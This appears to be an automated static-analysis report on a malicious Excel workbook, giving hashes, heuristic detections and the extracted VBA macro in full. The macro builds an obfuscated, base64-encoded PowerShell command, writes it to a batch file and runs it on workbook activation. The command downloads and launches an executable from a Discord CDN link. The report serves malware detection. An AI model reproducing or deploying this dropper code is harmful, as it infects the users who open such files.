Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b6a3b0e76aad12cc…

MALICIOUS

Office (OOXML)

392.2 KB Created: 2020-01-28 19:47:00 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-23
MD5: 7842fd9fcdfb7f6994bba2079084b1ca SHA-1: 7037ff474ab0d0ce368f02bf09d199f97c20b3e4 SHA-256: b6a3b0e76aad12cc4b2ebbb52ec91258243c8c40c4bfca5bf771c15420388bee
170 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • External hyperlinks (4) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 4 external hyperlinks — clickable URLs are stored as external relationships. First target: https://go.microsoft.com/fwlink/?linkid=844732
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://go.microsoft.com/fwlink/?linkid=844732 Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844741Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844736Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844747Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844746Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844728Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844735Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844725Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844738Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844749Document hyperlink
    • http://go.microsoft.com/fwlink/?LinkId=846285Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844745Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844751Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844743Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844750Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844726Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844742Document hyperlink
    • https://go.microsoft.com/fwlink/?linkid=844734Document hyperlink
    • http://go.microsoft.com/fwlink/?LinkId=844969Document hyperlink

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6442 bytes
SHA-256: 2fb5a79e40dae1f53e7c2cec7b8247181144920fd281ff1bf2b11d351b4c45df
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_SheetBeforeRightClick(ByVal Sh As Object, ByVal Target As Range, Cancel As Boolean)

End Sub

Private Sub Workbook_SheetCalculate(ByVal Sh As Object)

End Sub

Private Sub Workbook_Activate()
On Error Resume Next
Dim i As Double
Dim batch As String
Dim call1 As String
Dim s As String
s = s + "start /MIN C:\Windo"
s = s + "ws\System32\" + "Wind" + "owsPo" + "werShe" + "ll\v1.0\pow" + "ersh" + "ell.exe"
s = s + " -win " + "1 -enc"
s = s + " "

s = s + "JABQAHIAbwB"
s = s + "jAE4AYQBtAG"
s = s + "UAIAA9ACAAI"
s = s + "gBEAGgAdQBj"
s = s + "AGMAcQB0AG8"
s = s + "AZABtAGMAcQ"
s = s + "BuAGcAcgBoA"
s = s + "C4AZQB4AGUA"
s = s + "IgA7ACgATgB"
s = s + "lAHcALQBPAG"
s = s + "IAagBlAGMAd"
s = s + "AAgAFMAeQBz"
s = s + "AHQAZQBtAC4"
s = s + "ATgBlAHQALg"
s = s + "BXAGUAYgBDA"
s = s + "GwAaQBlAG4A"
s = s + "dAApAC4ARAB"
s = s + "vAHcAbgBsAG"
s = s + "8AYQBkAEYAa"
s = s + "QBsAGUAKAAi"
s = s + "AGgAdAB0AHA"
s = s + "AcwA6AC8ALw"
s = s + "BjAGQAbgAuA"
s = s + "GQAaQBzAGMA"
s = s + "bwByAGQAYQB"
s = s + "wAHAALgBjAG"
s = s + "8AbQAvAGEAd"
s = s + "AB0AGEAYwBo"
s = s + "AG0AZQBuAHQ"
s = s + "AcwAvADcANw"
s = s + "A4ADUAMwA0A"
s = s + "DQAMgA3ADIA"
s = s + "NwA3ADIANgA"
s = s + "yADkAMgAyAC"
s = s + "8AOAA5ADcAN"
s = s + "wAzADQANwA4"
s = s + "ADMAMAAyADU"
s = s + "ANgA3ADYAMg"
s = s + "A5ADgALwAyA"
s = s + "DAAMgAxADEA"
s = s + "MwAxADAANQA"
s = s + "1ADcAMAA0AD"
s = s + "AAMQA5ADMAM"
s = s + "wA1ADcAMAAx"
s = s + "ADIANQAuAGU"
s = s + "AeABlACIALA"
s = s + "AiACQAZQBuA"
s = s + "HYAOgBBAFAA"
s = s + "UABEAEEAVAB"
s = s + "BAFwAJABQAH"
s = s + "IAbwBjAE4AY"
s = s + "QBtAGUAIgAp"
s = s + "ADsAUwB0AGE"
s = s + "AcgB0AC0AUA"
s = s + "ByAG8AYwBlA"
s = s + "HMAcwAgACgA"
s = s + "IgAkAGUAbgB"
s = s + "2ADoAQQBQAF"
s = s + "AARABBAFQAQ"
s = s + "QBcACQAUABy"
s = s + "AG8AYwBOAGE"
s = s + "AbQBlACIAKQ"
s = s + "A="


ActiveWorkbook.Save
batch = "Zzvupnhd.bat"
Open batch For Output As #1
    Print #1, s 
    Close #1
    i = Shell(batch, 0)

End Sub

Private Sub Cellss()

End Sub

Private Sub Workbook_SheetSelectionChange(ByVal Sh As Object, ByVal Target As Range)

End Sub



Attribute VB_Name = "Start"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "1. Add"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "2. Fill"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "3. Split"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "4. Transpose"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "5. Sort & filter"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
A
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10752 bytes
SHA-256: d91dfa7e5258c4209b02d817a0769842d85a0af700e49fae0dfe835e1271ae89